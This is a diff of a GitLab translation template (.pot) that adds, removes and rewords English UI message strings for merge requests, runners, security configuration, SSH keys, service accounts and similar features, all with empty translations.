@@ -21826,6 +22186,9 @@ msgstr ""
msgid "Maximum allowable lifetime for personal access token (days)"
msgstr ""
+msgid "Maximum allowed lifetime for SSH keys (in days)"
+msgstr ""
+
msgid "Maximum artifacts size"
msgstr ""
@@ -22033,9 +22396,6 @@ msgstr ""
msgid "MemberInviteEmail|%{member_name} invited you to join GitLab"
msgstr ""
-msgid "MemberInviteEmail|I've invited you to join me in GitLab"
-msgstr ""
-
msgid "MemberInviteEmail|Invitation to join the %{project_or_group} %{project_or_group_name}"
msgstr ""
@@ -22198,6 +22558,12 @@ msgstr ""
msgid "Merge automatically (%{strategy})"
msgstr ""
+msgid "Merge blocked: all merge request dependencies must be merged or closed."
+msgstr ""
+
+msgid "Merge blocked: merge request must be marked as ready. It's still marked as draft."
+msgstr ""
+
msgid "Merge blocked: new changes were just added."
msgstr ""
@@ -22213,6 +22579,9 @@ msgstr ""
msgid "Merge commit message"
msgstr ""
+msgid "Merge details"
+msgstr ""
+
msgid "Merge events"
msgstr ""
@@ -22258,22 +22627,13 @@ msgstr ""
msgid "Merge requests"
msgstr ""
-msgid "Merge requests I've created"
-msgstr ""
-
msgid "Merge requests are a place to propose changes you've made to a project and discuss those changes with others"
msgstr ""
-msgid "Merge requests are read-only in a secondary Geo node"
-msgstr ""
-
-msgid "Merge requests assigned to me"
-msgstr ""
-
-msgid "Merge requests that I'm a reviewer"
+msgid "Merge the branch and fix any conflicts that come up"
msgstr ""
-msgid "Merge the branch and fix any conflicts that come up"
+msgid "Merge unavailable: merge requests are read-only in a secondary Geo node."
msgstr ""
msgid "Merge when pipeline succeeds"
@@ -22393,6 +22753,18 @@ msgstr ""
msgid "MergeRequest|Approved by @%{username}"
msgstr ""
+msgid "MergeRequest|Can't show this merge request because of an internal error. Contact your administrator."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the fork project was deleted."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the source branch %{badge_start}%{source_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the source branch."
+msgstr ""
+
+msgid "MergeRequest|Can't show this merge request because the target branch %{badge_start}%{target_branch}%{badge_end} is missing from project %{badge_start}%{project_path}%{badge_end}. Close this merge request or update the target branch."
+msgstr ""
+
msgid "MergeRequest|Compare %{target} and %{source}"
msgstr ""
@@ -23038,6 +23410,9 @@ msgstr ""
msgid "MissingSSHKeyWarningLink|Don't show again"
msgstr ""
+msgid "MissingSSHKeyWarningLink|You can't push or pull repositories using SSH until you add an SSH key to your profile."
+msgstr ""
+
msgid "MissingSSHKeyWarningLink|You won't be able to pull or push repositories via SSH until you add an SSH key to your profile"
msgstr ""
@@ -23293,9 +23668,6 @@ msgstr ""
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
-msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines. To learn more about reducing storage capacity please visit our docs."
-msgstr ""
-
msgid "NamespaceUserCap|Pending users must be reviewed and approved by a group owner. Learn more about %{user_caps_link_start}User Caps%{link_end} and %{users_pending_approval_link_start}Users Pending Approval%{link_end}."
msgstr ""
@@ -23446,9 +23818,6 @@ msgstr ""
msgid "NetworkPolicies|None selected"
msgstr ""
-msgid "NetworkPolicies|Please %{installLinkStart}install%{installLinkEnd} and %{configureLinkStart}configure a Kubernetes Agent for this project%{configureLinkEnd} to enable alerts."
-msgstr ""
-
msgid "NetworkPolicies|Policy %{policyName} was successfully changed"
msgstr ""
@@ -23473,6 +23842,9 @@ msgstr ""
msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
+msgid "NetworkPolicies|To enable alerts, %{installLinkStart}install an agent%{installLinkEnd} first."
+msgstr ""
+
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
msgstr ""
@@ -23680,6 +24052,9 @@ msgstr ""
msgid "New milestone"
msgstr ""
+msgid "New name"
+msgstr ""
+
msgid "New password"
msgstr ""
@@ -23716,6 +24091,9 @@ msgstr ""
msgid "New schedule"
msgstr ""
+msgid "New service account is generated for the selected Google Cloud project"
+msgstr ""
+
msgid "New snippet"
msgstr ""
@@ -23911,6 +24289,9 @@ msgstr ""
msgid "No forks are available to you."
msgstr ""
+msgid "No group provided"
+msgstr ""
+
msgid "No grouping"
msgstr ""
@@ -23959,9 +24340,15 @@ msgstr ""
msgid "No matching results..."
msgstr ""
+msgid "No member provided"
+msgstr ""
+
msgid "No members found"
msgstr ""
+msgid "No memberships found"
+msgstr ""
+
msgid "No merge requests found"
msgstr ""
@@ -24004,6 +24391,9 @@ msgstr ""
msgid "No projects found"
msgstr ""
+msgid "No public deploy keys"
+msgstr ""
+
msgid "No public groups"
msgstr ""
@@ -24025,6 +24415,9 @@ msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No service accounts"
+msgstr ""
+
msgid "No severity matches the provided parameter"
msgstr ""
@@ -24124,6 +24517,9 @@ msgstr ""
msgid "Not confidential"
msgstr ""
+msgid "Not found"
+msgstr ""
+
msgid "Not found."
msgstr ""
@@ -24355,7 +24751,7 @@ msgstr ""
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
-msgid "Number of Elasticsearch shards and replicas (per index)"
+msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
@@ -24511,7 +24907,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule %{obstacle} in Project %{project}"
+msgid "OnCallSchedules|On-call schedule %{obstacle} in project %{project}"
msgstr ""
msgid "OnCallSchedules|On-call schedules"
@@ -24595,6 +24991,12 @@ msgstr ""
msgid "OnCallSchedules|Your schedule has been successfully created. To add individual users to this schedule, use the Add a rotation button. To enable notifications for this schedule, you must also create an %{linkStart}escalation policy%{linkEnd}."
msgstr ""
+msgid "OnDemandScans|%{learnMoreLinkStart}Learn more about on-demand scans%{learnMoreLinkEnd}."
+msgstr ""
+
+msgid "OnDemandScans|Could not fetch on-demand scans. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not fetch scanner profiles. Please refresh the page, or try again later."
msgstr ""
@@ -24685,19 +25087,19 @@ msgstr ""
msgid "OnDemandScans|Target"
msgstr ""
-msgid "OnDemandScans|Use existing scanner profile"
+msgid "OnDemandScans|There are no finished scans."
msgstr ""
-msgid "OnDemandScans|Use existing site profile"
+msgid "OnDemandScans|There are no running scans."
msgstr ""
-msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgid "OnDemandScans|Use existing scanner profile"
msgstr ""
-msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted, it cannot be recovered. You will lose this project's repository and all related resources, including issues and merge requests."
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
msgstr ""
msgid "Once imported, repositories can be mirrored over SSH. Read more %{link_start}here%{link_end}."
@@ -24721,6 +25123,12 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "One or more contacts were successfully added."
+msgstr ""
+
+msgid "One or more contacts were successfully removed."
+msgstr ""
+
msgid "One or more groups that you don't have access to."
msgstr ""
@@ -24760,6 +25168,9 @@ msgstr ""
msgid "Only effective when remote storage is enabled. Set to 0 for no size limit."
msgstr ""
+msgid "Only enable search after installing the plugin, enabling indexing, and recreating the index."
+msgstr ""
+
msgid "Only include features new to your current subscription tier."
msgstr ""
@@ -24781,6 +25192,9 @@ msgstr ""
msgid "Only reCAPTCHA v2 is supported:"
msgstr ""
+msgid "Only use lowercase letters, numbers, and underscores."
+msgstr ""
+
msgid "Only users from the specified IP address ranges are able to reach this group, including all subgroups, projects, and Git repositories."
msgstr ""
@@ -24799,7 +25213,7 @@ msgstr ""
msgid "Open Selection"
msgstr ""
-msgid "Open a CLI and connect to the cluster you want to install the Agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
+msgid "Open a CLI and connect to the cluster you want to install the agent in. Use this installation method to minimize any manual steps. The token is already included in the command."
msgstr ""
msgid "Open epics"
@@ -25039,6 +25453,9 @@ msgstr ""
msgid "Package type must be Maven"
msgstr ""
+msgid "Package type must be NPM"
+msgstr ""
+
msgid "Package type must be NuGet"
msgstr ""
@@ -25399,6 +25816,9 @@ msgstr ""
msgid "Page settings"
msgstr ""
+msgid "Page size"
+msgstr ""
+
msgid "PagerDutySettings|Active"
msgstr ""
@@ -25495,9 +25915,6 @@ msgstr ""
msgid "Password"
msgstr ""
-msgid "Password (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Password (optional)"
msgstr ""
@@ -25750,6 +26167,12 @@ msgstr ""
msgid "Pipeline %{label} for \"%{dataTitle}\""
msgstr ""
+msgid "Pipeline Editor"
+msgstr ""
+
+msgid "Pipeline Editor|Are you sure you want to reset the file to its last committed version?"
+msgstr ""
+
msgid "Pipeline ID"
msgstr ""
@@ -26065,9 +26488,6 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
-msgid "Pipelines|No artifacts available"
-msgstr ""
-
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -26197,6 +26617,9 @@ msgstr ""
msgid "Pipeline|Created"
msgstr ""
+msgid "Pipeline|Creating pipeline."
+msgstr ""
+
msgid "Pipeline|Date"
msgstr ""
@@ -26212,9 +26635,6 @@ msgstr ""
msgid "Pipeline|In progress"
msgstr ""
-msgid "Pipeline|Key"
-msgstr ""
-
msgid "Pipeline|Manual"
msgstr ""
@@ -26305,10 +26725,10 @@ msgstr ""
msgid "Pipeline|Triggerer"
msgstr ""
-msgid "Pipeline|Value"
+msgid "Pipeline|Variables"
msgstr ""
-msgid "Pipeline|Variables"
+msgid "Pipeline|View commit"
msgstr ""
msgid "Pipeline|View pipeline"
@@ -26449,6 +26869,9 @@ msgstr ""
msgid "Please enter a valid number"
msgstr ""
+msgid "Please enter a valid time interval"
+msgstr ""
+
msgid "Please enter or upload a valid license."
msgstr ""
@@ -26476,9 +26899,6 @@ msgstr ""
msgid "Please note that this application is not provided by GitLab and you should verify its authenticity before allowing access."
msgstr ""
-msgid "Please only enable search after installing the plugin, enabling indexing and recreating the index"
-msgstr ""
-
msgid "Please provide a name"
msgstr ""
@@ -26719,7 +27139,7 @@ msgstr ""
msgid "Prev"
msgstr ""
-msgid "Prevent adding new members to project membership within this group"
+msgid "Prevent adding new members to projects within this group"
msgstr ""
msgid "Prevent auto-stopping"
@@ -27001,7 +27421,7 @@ msgstr ""
msgid "Profiles|Do not show on profile"
msgstr ""
-msgid "Profiles|Don't display activity-related personal information on your profiles"
+msgid "Profiles|Don't display activity-related personal information on your profile"
msgstr ""
msgid "Profiles|Edit Profile"
@@ -27022,13 +27442,13 @@ msgstr ""
msgid "Profiles|Enter your pronouns to let people know how to refer to you"
msgstr ""
-msgid "Profiles|Expired key is not valid."
+msgid "Profiles|Expiration date"
msgstr ""
-msgid "Profiles|Expired:"
+msgid "Profiles|Expired key is not valid."
msgstr ""
-msgid "Profiles|Expires at"
+msgid "Profiles|Expired:"
msgstr ""
msgid "Profiles|Expires:"
@@ -27070,13 +27490,16 @@ msgstr ""
msgid "Profiles|Key"
msgstr ""
-msgid "Profiles|Key can still be used after expiration."
+msgid "Profiles|Key becomes invalid on this date."
msgstr ""
-msgid "Profiles|Key usable beyond expiration date."
+msgid "Profiles|Key becomes invalid on this date. Maximum lifetime for SSH keys is %{max_ssh_key_lifetime} days"
+msgstr ""
+
+msgid "Profiles|Key can still be used after expiration."
msgstr ""
-msgid "Profiles|Key will be deleted on this date."
+msgid "Profiles|Key usable beyond expiration date."
msgstr ""
msgid "Profiles|Last used:"
@@ -27406,9 +27829,6 @@ msgstr ""
msgid "Project name"
msgstr ""
-msgid "Project name suffix"
-msgstr ""
-
msgid "Project navigation"
msgstr ""
@@ -27487,6 +27907,9 @@ msgstr ""
msgid "ProjectOverview|Unstar"
msgstr ""
+msgid "ProjectOverview|You don't have permission to fork this project"
+msgstr ""
+
msgid "ProjectOverview|You have reached your project limit"
msgstr ""
@@ -27754,12 +28177,18 @@ msgstr ""
msgid "ProjectSettings|Manages large files such as audio, video, and graphics files."
msgstr ""
+msgid "ProjectSettings|Maximum 500 characters."
+msgstr ""
+
msgid "ProjectSettings|Merge checks"
msgstr ""
msgid "ProjectSettings|Merge commit"
msgstr ""
+msgid "ProjectSettings|Merge commit message template"
+msgstr ""
+
msgid "ProjectSettings|Merge commit with semi-linear history"
msgstr ""
@@ -27829,6 +28258,9 @@ msgstr ""
msgid "ProjectSettings|Requirements management system."
msgstr ""
+msgid "ProjectSettings|Search for topic"
+msgstr ""
+
msgid "ProjectSettings|Security & Compliance"
msgstr ""
@@ -27853,6 +28285,9 @@ msgstr ""
msgid "ProjectSettings|Snippets"
msgstr ""
+msgid "ProjectSettings|Squash commit message template"
+msgstr ""
+
msgid "ProjectSettings|Squash commits when merging"
msgstr ""
@@ -27874,6 +28309,12 @@ msgstr ""
msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
+msgid "ProjectSettings|The commit message used when merging, if the merge method creates a merge commit. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
+msgid "ProjectSettings|The commit message used when squashing commits. %{link_start}Learn more about syntax and variables.%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|The default target project for merge requests created in this fork project."
msgstr ""
@@ -28078,6 +28519,9 @@ msgstr ""
msgid "Projects with no vulnerabilities and security scanning enabled"
msgstr ""
+msgid "Projects with this topic"
+msgstr ""
+
msgid "Projects with write access"
msgstr ""
@@ -28285,6 +28729,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote issue to incident"
+msgstr ""
+
msgid "Promote to epic"
msgstr ""
@@ -28303,9 +28750,15 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotes issue to incident"
+msgstr ""
+
msgid "Promotion is not supported."
msgstr ""
+msgid "Promotions|Add %{link_start} description templates %{link_end} to help your contributors to communicate effectively!"
+msgstr ""
+
msgid "Promotions|Add Group Webhooks and GitLab Enterprise Edition."
msgstr ""
@@ -28666,6 +29119,9 @@ msgstr ""
msgid "Public Access Help"
msgstr ""
+msgid "Public deploy keys"
+msgstr ""
+
msgid "Public deploy keys (%{deploy_keys_count})"
msgstr ""
@@ -28828,6 +29284,9 @@ msgstr ""
msgid "PushoverService|Total commits count: %{total_commits_count}"
msgstr ""
+msgid "QualitySummary|Project quality"
+msgstr ""
+
msgid "Quarters"
msgstr ""
@@ -28942,6 +29401,12 @@ msgstr ""
msgid "Recaptcha verified?"
msgstr ""
+msgid "Receive a $50 gift card as a thank you for your time."
+msgstr ""
+
+msgid "Receive a %{strongOpen}$50 gift card%{strongClose} as a thank you for your time."
+msgstr ""
+
msgid "Receive alerts from manually configured Prometheus servers."
msgstr ""
@@ -29047,9 +29512,6 @@ msgstr ""
msgid "Regex pattern"
msgstr ""
-msgid "Region that Elasticsearch is configured"
-msgstr ""
-
msgid "Register"
msgstr ""
@@ -29221,6 +29683,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove Zoom meeting."
+msgstr ""
+
msgid "Remove access"
msgstr ""
@@ -29248,6 +29713,9 @@ msgstr ""
msgid "Remove assignee"
msgstr ""
+msgid "Remove attention request"
+msgstr ""
+
msgid "Remove avatar"
msgstr ""
@@ -29257,6 +29725,12 @@ msgstr ""
msgid "Remove child epic from an epic"
msgstr ""
+msgid "Remove customer relation contact(s)."
+msgstr ""
+
+msgid "Remove customer relation contacts"
+msgstr ""
+
msgid "Remove deploy key"
msgstr ""
@@ -29374,15 +29848,15 @@ msgstr ""
msgid "Removed %{reviewer_text} %{reviewer_references}."
msgstr ""
-msgid "Removed %{type} with id %{id}"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
msgid "Removed an issue from an epic."
msgstr ""
+msgid "Removed attention request from @%{username}"
+msgstr ""
+
msgid "Removed group can not be restored!"
msgstr ""
@@ -29398,6 +29872,9 @@ msgstr ""
msgid "Removed time estimate."
msgstr ""
+msgid "Removed upload with id %{id}"
+msgstr ""
+
msgid "RemovedProjects|Projects which are removed and are yet to be permanently removed are visible here."
msgstr ""
@@ -29467,6 +29944,9 @@ msgstr ""
msgid "Reopen %{issueType}"
msgstr ""
+msgid "Reopen %{noteable}"
+msgstr ""
+
msgid "Reopen epic"
msgstr ""
@@ -29491,6 +29971,9 @@ msgstr ""
msgid "Replace"
msgstr ""
+msgid "Replace %{blob_name}"
+msgstr ""
+
msgid "Replace %{name}"
msgstr ""
@@ -29686,6 +30169,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Average test coverage last 30 days"
msgstr ""
+msgid "RepositoriesAnalytics|Code Coverage: %{averageCoverage}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -29707,6 +30193,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Jobs with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Jobs with Coverage: %{coverageCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Last Update"
msgstr ""
@@ -29725,6 +30214,9 @@ msgstr ""
msgid "RepositoriesAnalytics|Projects with Coverage"
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Coverage: %{projectCount}"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
@@ -29803,7 +30295,7 @@ msgstr ""
msgid "Repository update events"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / Pipeline Artifacts: %{counter_pipeline_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -29818,6 +30310,12 @@ msgstr ""
msgid "Request a new one"
msgstr ""
+msgid "Request attention"
+msgstr ""
+
+msgid "Request attention to review"
+msgstr ""
+
msgid "Request details"
msgstr ""
@@ -29839,6 +30337,9 @@ msgstr ""
msgid "Requested %{time_ago}"
msgstr ""
+msgid "Requested attention from @%{username}"
+msgstr ""
+
msgid "Requested design version does not exist."
msgstr ""
@@ -29878,6 +30379,9 @@ msgstr ""
msgid "Required in this project."
msgstr ""
+msgid "Required only if you are not using role instance credentials."
+msgstr ""
+
msgid "Requirement %{reference} has been added"
msgstr ""
@@ -29953,6 +30457,9 @@ msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset file"
+msgstr ""
+
msgid "Reset filters"
msgstr ""
@@ -30277,6 +30784,9 @@ msgstr ""
msgid "Runners|Active"
msgstr ""
+msgid "Runners|All"
+msgstr ""
+
msgid "Runners|Amazon Linux 2 Docker HA with manual scaling and optional scheduling. %{percentage} spot."
msgstr ""
@@ -30331,6 +30841,9 @@ msgstr ""
msgid "Runners|For each solution, you will choose a capacity. 1 enables warm HA through Auto Scaling group re-spawn. 2 enables hot HA because the service is available even when a node is lost. 3 or more enables hot HA and manual scaling of runner fleet."
msgstr ""
+msgid "Runners|Group"
+msgstr ""
+
msgid "Runners|Group Runners"
msgstr ""
@@ -30343,6 +30856,9 @@ msgstr ""
msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -30364,6 +30880,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -30376,12 +30895,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -30415,6 +30940,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -30424,6 +30952,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -30454,12 +30985,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -30517,19 +31054,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr ""
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -30610,21 +31153,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -31045,6 +31573,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr ""
@@ -31069,6 +31600,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -31117,7 +31651,7 @@ msgstr ""
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -31132,7 +31666,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -31144,7 +31678,7 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
-msgid "SecurityConfiguration|Create Merge Request"
+msgid "SecurityConfiguration|Create merge request"
msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
@@ -31204,6 +31738,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -31213,6 +31750,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -31237,6 +31777,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -31306,7 +31852,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -31315,6 +31864,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -31336,6 +31888,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -31555,7 +32113,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -31588,6 +32146,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -31726,6 +32287,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31930,9 +32494,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -32032,7 +32593,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -32044,6 +32614,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -32089,6 +32662,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -32170,6 +32746,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -32227,9 +32806,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -32308,9 +32884,6 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -32377,6 +32950,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
